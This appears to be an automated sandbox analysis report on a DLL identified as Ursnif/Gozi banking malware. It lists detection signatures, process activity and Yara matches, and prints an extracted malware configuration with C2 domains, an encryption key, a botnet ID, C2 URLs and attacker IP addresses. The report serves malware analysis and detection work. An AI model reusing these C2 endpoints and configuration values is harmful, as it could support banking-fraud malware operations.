Play interactive tour

Edit tour

Analysis Report 0204.gif.dll

Overview

General Information

Sample Name:	0204.gif.dll
Analysis ID:	382560
MD5:	75c8d835dbb17059c37f5bbe70736e4e
SHA1:	12f7c7f15b85ef34ba3f77a364dcc480c99b6eda
SHA256:	8b130f9fbdcfc64e2ef698a1f111409c66aff2ab6ce66ae0286f8c6817376064
Tags:	dllGGGoziISFBUrsnif
Infos:
Most interesting Screenshot:

Detection

Ursnif

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected Ursnif

Machine Learning detection for sample

Writes or reads registry keys via WMI

Writes registry values via WMI

Antivirus or Machine Learning detection for unpacked file

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

Sample execution stops while process was sleeping (likely an evasion)

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Startup

System is w10x64

loaddll32.exe (PID: 6356 cmdline: loaddll32.exe 'C:\Users\user\Desktop\0204.gif.dll' MD5: 542795ADF7CC08EFCF675D65310596E8)

cmd.exe (PID: 6364 cmdline: cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\0204.gif.dll',#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 6388 cmdline: rundll32.exe 'C:\Users\user\Desktop\0204.gif.dll',#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6376 cmdline: rundll32.exe C:\Users\user\Desktop\0204.gif.dll,StartService MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

iexplore.exe (PID: 5920 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)

iexplore.exe (PID: 6660 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5920 CREDAT:17410 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 3440 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5920 CREDAT:17414 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 5184 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)

iexplore.exe (PID: 5216 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5184 CREDAT:17410 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 3440 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5184 CREDAT:82948 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 5340 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)

iexplore.exe (PID: 3228 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5340 CREDAT:17410 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 3708 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5340 CREDAT:17414 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

cleanup

Malware Configuration

Threatname: Ursnif

[{"RSA Public Key": "Om1HeBhXBR6NHvmWFG5B2kyl5mdcRMsb8ux2uo9VgGW0O2LzHZKk3w9bxw9stgphU0ayytcOYkK6GCNJlKSeMTZJ5WPgZiX+MaXiUccStEUTXkW1ubp0gdr16sb5U4M+rzWWPvc3s7bj9o1yqSJtP7PmMVp7E+3llLULQ9/DZbAD7SXaft6wcY8wFjSkI+8D"}, {"c2_domain": ["bing.com", "update4.microsoft.com", "under17.com", "urs-world.com"], "botnet": "5566", "server": "12", "serpent_key": "10301029JSJUYDWG", "sleep_time": "10", "SetWaitableTimer_value": "0", "DGA_count": "10"}]

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.500504435.000000000562F000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.363000651.000000000582B000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.442401635.0000000003B4D000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.362707401.0000000003C4B000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000002.499116859.0000000003490000.00000004.00000001.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000000.00000003.362777814.0000000003C4B000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.445053203.000000000572D000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000002.498490060.0000000001580000.00000004.00000001.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000003.00000003.363042900.000000000582B000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.363073558.000000000582B000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.362687587.0000000003C4B000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.362981300.000000000582B000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000002.499756612.0000000003A4F000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.362750136.0000000003C4B000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.363016213.000000000582B000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.363030214.000000000582B000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.362737439.0000000003C4B000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000002.260461688.0000000002BE0000.00000004.00000001.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000000.00000003.362723633.0000000003C4B000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Process Memory Space: loaddll32.exe PID: 6356	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Process Memory Space: rundll32.exe PID: 6388	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author
3.2.rundll32.exe.3490000.2.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
2.2.rundll32.exe.2be0000.1.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
0.2.loaddll32.exe.10000000.4.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
0.2.loaddll32.exe.1580000.0.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
3.2.rundll32.exe.10000000.5.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 0.2.loaddll32.exe.38d94a0.3.raw.unpack

Malware Configuration Extractor: Ursnif [{"RSA Public Key": "Om1HeBhXBR6NHvmWFG5B2kyl5mdcRMsb8ux2uo9VgGW0O2LzHZKk3w9bxw9stgphU0ayytcOYkK6GCNJlKSeMTZJ5WPgZiX+MaXiUccStEUTXkW1ubp0gdr16sb5U4M+rzWWPvc3s7bj9o1yqSJtP7PmMVp7E+3llLULQ9/DZbAD7SXaft6wcY8wFjSkI+8D"}, {"c2_domain": ["bing.com", "update4.microsoft.com", "under17.com", "urs-world.com"], "botnet": "5566", "server": "12", "serpent_key": "10301029JSJUYDWG", "sleep_time": "10", "SetWaitableTimer_value": "0", "DGA_count": "10"}]

Multi AV Scanner detection for submitted file

Show sources

Source: 0204.gif.dll

ReversingLabs: Detection: 54%

Machine Learning detection for sample

Show sources

Source: 0204.gif.dll

Joe Sandbox ML: detected

Source: 0.2.loaddll32.exe.10000000.4.unpack	Avira: Label: TR/Crypt.XPACK.Gen8
Source: 3.2.rundll32.exe.10000000.5.unpack	Avira: Label: TR/Crypt.XPACK.Gen8

Source: 0204.gif.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_017312D4 RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,memset,CreateFileA,GetFileTime,FindCloseChangeNotification,StrRChrA,lstrcat,FindFirstFileA,FindFirstFileA,CompareFileTime,CompareFileTime,FindClose,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,StrChrA,memcpy,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,FindClose,HeapFree,HeapFree,		0_2_017312D4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_035512D4 RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,memset,CreateFileA,GetFileTime,FindCloseChangeNotification,StrRChrA,lstrcat,FindFirstFileA,FindFirstFileA,CompareFileTime,CompareFileTime,FindClose,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,StrChrA,memcpy,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,FindClose,HeapFree,HeapFree,		3_2_035512D4

Source: Joe Sandbox View	IP Address: 185.243.114.196 185.243.114.196
Source: Joe Sandbox View	IP Address: 185.186.244.95 185.186.244.95

Source: Joe Sandbox View	ASN Name: ACCELERATED-ITDE ACCELERATED-ITDE
Source: Joe Sandbox View	ASN Name: WEBZILLANL WEBZILLANL

Source: global traffic	TCP traffic: 192.168.2.5:49742 -> 185.243.114.196:80
Source: global traffic	TCP traffic: 192.168.2.5:49752 -> 185.186.244.95:80

Source: unknown

DNS traffic detected: queries for: login.microsoftonline.com

Source: GiGr-rA9TBhE2c3LJn7PvDweiOo.gz[1].js.22.dr	String found in binary or memory: http://feross.org
Source: loaddll32.exe, 00000000.00000002.498740242.000000000174B000.00000004.00000020.sdmp, rundll32.exe, 00000003.00000002.499825406.0000000003633000.00000004.00000001.sdmp	String found in binary or memory: http://under17.com
Source: ~DF0EA985D0D7E507FA.TMP.31.dr, {10347225-96F9-11EB-90E5-ECF4BB570DC9}.dat.31.dr	String found in binary or memory: http://under17.com/joomla/FoUDcBGCRMgOiC93_2Fr_/2FiFUTIFAwn6IXco/_2B0KkmSKvezPZ_/2Ftlw1zwyQYlkJ_2BV/
Source: {10347227-96F9-11EB-90E5-ECF4BB570DC9}.dat.31.dr	String found in binary or memory: http://under17.com/joomla/mDD1H_2FL9FujRk_2BcMx/L3jxGl_2F01C5tOn/lz8tvuPEfBFzKF7/SXzkoDSo5ot_2BU2a7/
Source: ~DF0D8D159CA42C338F.TMP.20.dr, {F32E7673-96F8-11EB-90E5-ECF4BB570DC9}.dat.20.dr	String found in binary or memory: https://login.microsoftonline.com/common/oauth2/authorize?client_id=9ea1ad79-fdb6-4f9a-8bc3-2b70f96e
Source: msnpopularnow[1].json.22.dr	String found in binary or memory: https://www.msn.com/de-ch/finanzen/top-stories/datenleck-bei-facebook-wachstum-z
Source: msnpopularnow[1].json.22.dr	String found in binary or memory: https://www.msn.com/de-ch/finanzen/top-stories/janet-yellen-us-finanzministerin-fordert-weltweite-mi
Source: msnpopularnow[1].json.22.dr	String found in binary or memory: https://www.msn.com/de-ch/finanzen/top-stories/staatliche-regulierung-allianz-gegen-big-tech-druck-a
Source: msnpopularnow[1].json.22.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/international/admirale-begehren-auf-gegen-das-verr
Source: msnpopularnow[1].json.22.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/international/alexej-nawalny-klagt-
Source: msnpopularnow[1].json.22.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/international/es-h
Source: msnpopularnow[1].json.22.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/international/so-tickt-kosovos-neue-staatspr
Source: msnpopularnow[1].json.22.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/international/ukrainekonflikt-maas-warnt-russland-und-ukraine-
Source: msnpopularnow[1].json.22.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/politik/coronakrise-laschet-fordert-harten-br
Source: msnpopularnow[1].json.22.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/politik/das-alles-h
Source: msnpopularnow[1].json.22.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/politik/fdp-nur-keine-option-von-vornherein-ausschlie
Source: msnpopularnow[1].json.22.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/politik/l
Source: msnpopularnow[1].json.22.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/politik/manfred-weber-nennt-eu-beitritt-der-t
Source: msnpopularnow[1].json.22.dr	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/vermischtes/die-altersheime-hat-man-vergessen/ar-BB1fkRPW?ocid
Source: msnpopularnow[1].json.22.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/auf-schmusekurs-mit-erdogan-eu-spitzen-reisen-in-die-t
Source: msnpopularnow[1].json.22.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/das-grosse-impfen-beginnt-geht-es-nun-endlich-vorw
Source: msnpopularnow[1].json.22.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/der-westen-muss-mit-sanktionen-drohen-die-wehtun/ar-BB1flkV9?oc
Source: msnpopularnow[1].json.22.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/neuseeland-und-australien-starten-quarant
Source: msnpopularnow[1].json.22.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/pentagon-usa-beobachten-russlands-aktivit
Source: msnpopularnow[1].json.22.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/polizei-sucht-mit-superpuma-nach-vermissten-minderj
Source: msnpopularnow[1].json.22.dr	String found in binary or memory: https://www.msn.com/de-ch/news/other/ressourcen-f

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000003.00000002.499116859.0000000003490000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.498490060.0000000001580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.260461688.0000000002BE0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 3.2.rundll32.exe.3490000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.2be0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.10000000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.1580000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.10000000.5.unpack, type: UNPACKEDPE

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000003.00000002.500504435.000000000562F000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.363000651.000000000582B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.442401635.0000000003B4D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.362707401.0000000003C4B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.362777814.0000000003C4B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.445053203.000000000572D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.363042900.000000000582B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.363073558.000000000582B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.362687587.0000000003C4B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.362981300.000000000582B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.499756612.0000000003A4F000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.362750136.0000000003C4B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.363016213.000000000582B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.363030214.000000000582B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.362737439.0000000003C4B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.362723633.0000000003C4B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 6356, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 6388, type: MEMORY

Source: loaddll32.exe, 00000000.00000002.498740242.000000000174B000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000003.00000002.499116859.0000000003490000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.498490060.0000000001580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.260461688.0000000002BE0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 3.2.rundll32.exe.3490000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.2be0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.10000000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.1580000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.10000000.5.unpack, type: UNPACKEDPE

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000003.00000002.500504435.000000000562F000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.363000651.000000000582B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.442401635.0000000003B4D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.362707401.0000000003C4B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.362777814.0000000003C4B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.445053203.000000000572D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.363042900.000000000582B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.363073558.000000000582B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.362687587.0000000003C4B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.362981300.000000000582B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.499756612.0000000003A4F000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.362750136.0000000003C4B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.363016213.000000000582B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.363030214.000000000582B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.362737439.0000000003C4B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.362723633.0000000003C4B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 6356, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 6388, type: MEMORY

System Summary:

Writes or reads registry keys via WMI

Show sources

Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue
Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Writes registry values via WMI

Show sources

Source: C:\Windows\System32\loaddll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\System32\loaddll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\System32\loaddll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_10001D9F NtMapViewOfSection,	0_2_10001D9F
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_10001EB5 GetProcAddress,NtCreateSection,memset,	0_2_10001EB5
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_10002375 NtQueryVirtualMemory,	0_2_10002375
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_017383B7 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,	0_2_017383B7
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0173B341 NtQueryVirtualMemory,	0_2_0173B341
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_035583B7 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,	3_2_035583B7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0355B341 NtQueryVirtualMemory,	3_2_0355B341

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C348F	0_2_016C348F
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C596E	0_2_016C596E
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C237B	0_2_016C237B
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C247B	0_2_016C247B
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C1374	0_2_016C1374
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C5C76	0_2_016C5C76
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C554B	0_2_016C554B
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C4859	0_2_016C4859
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C6424	0_2_016C6424
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C1000	0_2_016C1000
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C1918	0_2_016C1918
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C3314	0_2_016C3314
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C52EC	0_2_016C52EC
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C20EE	0_2_016C20EE
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C28EB	0_2_016C28EB
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C5AF6	0_2_016C5AF6
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C3BDB	0_2_016C3BDB
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C3FA8	0_2_016C3FA8
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C3A85	0_2_016C3A85
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_016C1B95	0_2_016C1B95
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_10002154	0_2_10002154
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0173B11C	0_2_0173B11C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_017397F2	0_2_017397F2
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_01734094	0_2_01734094
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0494348F	2_2_0494348F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_04941B95	2_2_04941B95
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_04943A85	2_2_04943A85
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_04943FA8	2_2_04943FA8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_04943BDB	2_2_04943BDB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_04945AF6	2_2_04945AF6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_049452EC	2_2_049452EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_049420EE	2_2_049420EE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_049428EB	2_2_049428EB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_04943314	2_2_04943314
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_04941918	2_2_04941918
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_04941000	2_2_04941000
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_04946424	2_2_04946424
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_04944859	2_2_04944859
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0494554B	2_2_0494554B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_04941374	2_2_04941374
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_04945C76	2_2_04945C76
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0494237B	2_2_0494237B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0494247B	2_2_0494247B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0494596E	2_2_0494596E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0343348F	3_2_0343348F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0343554B	3_2_0343554B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_03434859	3_2_03434859
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0343596E	3_2_0343596E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_03435C76	3_2_03435C76
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_03431374	3_2_03431374
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0343237B	3_2_0343237B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0343247B	3_2_0343247B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_03431000	3_2_03431000
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_03433314	3_2_03433314
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_03431918	3_2_03431918
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_03436424	3_2_03436424
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_03433BDB	3_2_03433BDB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_034328EB	3_2_034328EB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_034320EE	3_2_034320EE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_034352EC	3_2_034352EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_03435AF6	3_2_03435AF6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_03433A85	3_2_03433A85
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_03431B95	3_2_03431B95
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_03433FA8	3_2_03433FA8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0355B11C	3_2_0355B11C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_035597F2	3_2_035597F2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_03554094	3_2_03554094

Source: 0204.gif.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: classification engine

Classification label: mal84.troj.winDLL@21/129@8/3

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_0173757F CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_0173757F

Source: C:\Program Files\internet explorer\iexplore.exe

